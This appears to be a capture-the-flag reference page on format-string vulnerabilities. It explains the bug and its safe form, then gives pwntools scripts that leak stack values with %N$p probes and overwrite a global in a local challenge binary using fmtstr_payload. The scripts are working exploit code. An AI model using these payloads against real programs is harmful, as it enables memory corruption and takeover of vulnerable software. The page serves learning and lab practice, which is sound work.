Format-string recipe
Bug shape: user input reaches a formatting call as the format itself, such as printf(user_input). A safe call passes it as data: printf("%s", user_input).
Leak probe
Section titled “Leak probe”from pwn import *
p = process("./fmt")probe = b"|".join(f"%{i}$p".encode() for i in range(1, 13))p.sendlineafter(b"> ", probe)print(p.recvall(timeout=1))Each %N$p asks printf to display argument N as a pointer. Replace the target and prompt; compare output with a recognizable marker to find where controlled input appears.
Write a value in a local challenge
Section titled “Write a value in a local challenge”from pwn import *
context.binary = elf = ELF("./fmt", checksec=False)offset = 6 # replace with the observed format-string offsettarget = elf.symbols["flag"] # example writable global in the local binarypayload = fmtstr_payload(offset, {target: 1}, write_size="int")
p = process(elf.path)p.sendlineafter(b"> ", payload)p.interactive()fmtstr_payload lays out the format directives and addresses. Confirm the offset, target address, write width, and input length against this binary; inspect the generated bytes before sending. See pwntools ROP and GDB helpers.
Complete local write script
Section titled “Complete local write script”Save as fmt_write.py beside the local binary. This example writes the integer value 1 to a writable global named flag. A format-string argument offset is not the same as the saved-return byte offset; first find the argument index with the leak probe and confirm the symbol’s address in Ghidra/GDB.
#!/usr/bin/env python3from pwn import *
BINARY = "./fmt"FORMAT_OFFSET = 6TARGET_NAME = "flag"TARGET_ADDRESS = None # set to a verified writable address if symbols are strippedVALUE = 1PROMPT = b"> "
context.log_level = "info"context.binary = elf = ELF(BINARY, checksec=False)
if elf.pie: log.error("Resolve the PIE base before using a global's address")if TARGET_ADDRESS is None: if TARGET_NAME not in elf.symbols: log.error("Set TARGET_ADDRESS to a verified writable address") TARGET_ADDRESS = elf.symbols[TARGET_NAME]
payload = fmtstr_payload(FORMAT_OFFSET, {TARGET_ADDRESS: VALUE}, write_size="int")log.info("target: %#x", TARGET_ADDRESS)log.info("payload length: %d", len(payload))log.debug("payload:\n%s", hexdump(payload))
io = process(elf.path)if PROMPT is None: io.sendline(payload)else: io.sendlineafter(PROMPT, payload)print(io.recvall(timeout=2).decode("utf-8", errors="replace"))The full script assumes a non-PIE binary, a writable 4-byte global, a confirmed argument offset, and a single line of input. If any assumption differs, adjust the target, write size, prompt, or transport to match the challenge.